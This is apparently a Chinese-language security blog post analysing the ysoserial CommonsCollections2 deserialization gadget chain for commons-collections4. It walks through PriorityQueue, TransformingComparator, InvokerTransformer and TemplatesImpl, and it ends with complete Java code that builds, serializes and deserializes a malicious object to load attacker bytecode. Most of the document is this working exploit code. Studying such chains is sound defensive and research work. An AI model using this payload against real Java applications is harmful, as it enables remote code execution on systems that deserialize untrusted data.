ysoserial CommonsCollections2 分析

2022-11-03 06:02:11

在最後一步的實現上,cc2和cc3一樣,最終都是通過TemplatesImpl惡意位元組碼檔案動態載入方式實現反序列化。

已知的TemplatesImpl->newTransformer()是最終要執行的。

TemplatesImpl類動態載入方式的實現分析見ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的呼叫通過InvokerTransformer.transform()反射機制實現,這裡可以看ysoserial CommonsCollections1 分析中的前半部分內容。

cc2是針對commons-collections4版本,利用鏈如下:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

所以在InvokerTransformer.transform()之後的利用如下:

public class CC2Test2 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");

        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);

        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = {code};

        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        //要順利執行,_tfactory得賦值,因為defineTransletClasses中呼叫了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl型別的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        transformer.transform(templates);

    }
}

一、InvokerTransformer.transform()的呼叫

TransformingComparator的compare,實現了對屬性this.transformer的transform呼叫,這裡可以通過TransformingComparator構造方法為該屬性賦值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;

    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

通過compare的呼叫

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);

二、TransformingComparator.compare()的呼叫

PriorityQueue類中的readobject()呼叫了heapify(),heapify()中呼叫了siftDown(),siftDown()呼叫了siftDownUsingComparator(),siftDownUsingComparator()方法實現了comparator.compare()呼叫。

那麼只要將transformingComparator物件賦值給comparator,可以通過反射,也可以通過構造方法,這裡通過構造方法,且initialCapacity不能小於1。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

由於comparator.compare()中的引數來自queue,所以需要將templates賦值給queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);

但是由於在priorityQueue.add()方法中會呼叫siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中帶入的引數物件如果不存在newTransformer方法將報錯,另外使用templates作為引數,又會導致在序列化過程構造惡意物件的時候得到執行。所以這裡先用toString()方法代替,後通過反射方式修改this.iMethodName屬性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

三、queue屬性賦值

transient queue無法序列化,但在PriorityQueue的writeobject()、readobject中對queue做了重寫,實現序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
    	//略
        for (int i = 0; i < size; i++)
            s.writeObject(queue[i]);
    }
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
	//略
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    heapify();
}

通過反射修改queues[0],利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//這裡得替換queues[0]
//如果queues[0]依舊保留使用Integer,會因為無法找到newTransformer報錯。

最終完整利用實現:

public class CC2Test2 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");

        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);

        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = {code};

        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        //要順利執行,_tfactory得賦值,因為defineTransletClasses中呼叫了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl型別的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);

        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

        TransformingComparator transformingComparator = new TransformingComparator(transformer);

        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");

        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queues = (Object[]) queue.get(priorityQueue);
        queues[0] = templates;

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
        objectOutputStream.writeObject(priorityQueue);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
        objectInputStream.readObject();

    }
}